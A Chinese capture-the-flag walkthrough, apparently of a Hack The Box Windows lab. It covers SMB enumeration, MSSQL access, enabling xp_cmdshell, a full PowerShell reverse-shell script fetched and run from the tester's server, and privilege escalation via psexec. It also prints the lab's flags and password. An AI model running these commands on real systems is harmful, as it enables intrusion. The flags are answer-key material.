考察的是MSSQL和SMB
问题:哪个 TCP 端口托管数据库服务器?
1433
nmap扫描一下
nmap -sV -min-rate 1000 -p- -v 10.129.230.73
问题:通过 SMB 提供的非管理共享的名称是什么?
backups
用smbclient的-L参数查看下,发现只有backups后面没有$
问题:SMB 共享上的文件中标识的密码是什么?
M3g4c0rp123
我们用backups用户匿名访问后,列一下目录然后下载该文件
查看即可得到密码
问题:可以使用 Impacket 集合中的哪些脚本来建立与 Microsoft SQL Server 的经过身份验证的连接?
mssqlclient.py
kali上自带的mssql客户端impacket-mssqlclient可以用来连接靶机上的SQL服务
结合上面nmap的扫描结果发现smb的系统是windows
然后再用刚刚下载下来的文件中的用户名进行登录
impacket-mssqlclient ARCHETYPE/[email protected] -windows-auth
问题:可以使用 Microsoft SQL Server 的哪些扩展存储过程来生成 Windows 命令 shell?
xp_cmdshell
问题:可以使用什么脚本来搜索在Windows主机上升级权限的可能路径?
winPEAS
问题:哪个文件包含管理员的密码?
ConsoleHost_history.txt
问题:提交user的flag
3e7b102e78218e935bf3f4951fec21a3
问题:提交root的flag
b91ccec3305e98240082d4474b848528
7-9题的解题步骤如下
我们先要知道当前登录用户的身份信息
select is_srvrolemember('sysadmin');
可以发现为admin用户
然后就是配置和启用 SQL Server 中的高级选项和 xp_cmdshell
存储过程的,依次执行下面命令
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
然后发现可以命令执行
不过输入ipconfig时发现不行,所以我们尝试反弹shell
让目标靶机下载我们kali上的shell文件并执行
创建名为shell.ps1的PowerShell 脚本,它的作用建立一个 TCP 连接并执行远程命令。
(注意ip可以ifconfig中查看tun0,也就是我们open的)
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.153", 4443)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535 | ForEach-Object { 0 }
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
$sendback = (iex $data 2>&1 | Out-String)
$sendback2 = $sendback + "# "
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
$client.Close()
我们在该文件夹搭建服务器
python3 -m http.server 80
可以发现目录下有我们的shell文件
然后开启监听4443端口
nc -lvnp 4443
再回到连接的数据库,执行下面命令反弹shell
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.153/shell.ps1\");""
当出现#
时说明成功
获取到了shell后,直接命令访问如下文件,能拿到用户的flag
type C:\Users\sql_svc\Desktop\user.txt
使用如下命令来访问PowerShell历史记录文件
知道了密码后直接登录即可,用psexec工具远程登陆提权
impacket-psexec [email protected]
找到flag
type C:\Users\Administrator\Desktop\root.txt